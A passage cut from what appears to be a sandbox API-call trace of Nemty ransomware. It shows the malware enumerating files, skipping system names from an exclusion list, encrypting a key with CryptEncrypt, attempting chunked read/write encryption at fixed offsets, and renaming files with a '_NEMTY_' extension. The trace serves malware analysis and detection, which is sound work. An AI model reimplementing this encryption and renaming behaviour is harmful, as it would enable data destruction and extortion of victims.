dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0120.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0120.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0120.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340350 [0120.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0120.307] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_rest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.308] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0120.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0120.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.317] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.317] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.336] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.346] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.346] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.374] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.374] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.392] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.392] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.402] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.402] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.408] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.408] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340350, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0120.414] CloseHandle (hObject=0xffffffff) returned 0 [0120.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c0 [0120.414] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0120.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0120.414] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0120.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0120.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0120.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0120.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0120.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0120.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0120.414] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_rest.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_rest.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_rest.png._nemty_kgobjgd_")) returned 0 [0120.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0120.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0120.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0120.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0120.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0120.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0120.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0120.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0120.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0120.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.415] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e09d0f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82e09d0f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b795bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_right_disabled.png", cAlternateFileName="")) returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2=".") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="..") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="...") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="windows") returned -1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="$RECYCLE.BIN") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="rsa") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="NTDETECT.COM") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="ntldr") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="MSDOS.SYS") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="IO.SYS") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="boot.ini") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="boot.ini") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="AUTOEXEC.BAT") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="ntuser.dat") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="desktop.ini") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="CONFIG.SYS") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="RECYCLER") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="BOOTSECT.BAK") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="bootmgr") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="programdata") returned 1 [0120.415] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="appdata") returned 1 [0120.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_disabled.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0120.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_disabled.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_disabled.png", lpUsedDefaultChar=0x0) returned 27 [0120.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0120.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_disabled.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0120.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_disabled.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_disabled.png", lpUsedDefaultChar=0x0) returned 27 [0120.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0120.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_disabled.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0120.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_disabled.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_disabled.png", lpUsedDefaultChar=0x0) returned 27 [0120.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_disabled.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0120.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0120.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_disabled.png", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_disabled.png", lpUsedDefaultChar=0x0) returned 27 [0120.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340298 [0120.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0120.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340360 [0120.416] Sleep (dwMilliseconds=0x5) [0120.430] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfb6dbbb0, dwHighDateTime=0x1d561e7)) [0120.430] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfb6dbbb0, dwHighDateTime=0x1d561e7)) [0120.430] GetLastError () returned 0x5 [0120.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.430] GetLastError () returned 0x5 [0120.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0120.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0120.430] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0120.430] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0120.430] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0120.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340428 [0120.430] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340428, pcchString=0x653e91c | out: pszString="nrIWBenhjCqIGcpOBg0ybf3356IOJGd0CHQzrVnMY1HWO6s1cQEFa1G8ax1W0e/1\r\n02MZbpa7RY069IpPR5bfy5m7LHxzlRqGFC7UqVxo33onoExeQfiSbgno0FBRI8mw\r\nPop50ao6oPvih6TFkFtWraueIdYBgJLFjWdl/RLIYt54rbTjIIOTRmG+Uf1c2Jpg\r\nVeM5Feal8TTViU7xx9IJVISuHJzYvr6vVcMxMdZw2fRJUg9VeM0pcnKfd+MFDles\r\nOyTj1T94c1PeBYu1wV915skyQCVvFJaw7e/iEMdRw0k1lQtHxrlsOHtBfLspglq+\r\n5CqEWd4aqNwRAFUKkGlxXw==\r\n", pcchString=0x653e91c) returned 1 [0120.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0120.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340428 | out: hHeap=0x4f90000) returned 1 [0120.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0120.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0120.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340428 [0120.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0120.430] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_disabled.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.431] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0120.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0120.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.431] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.441] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.441] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, 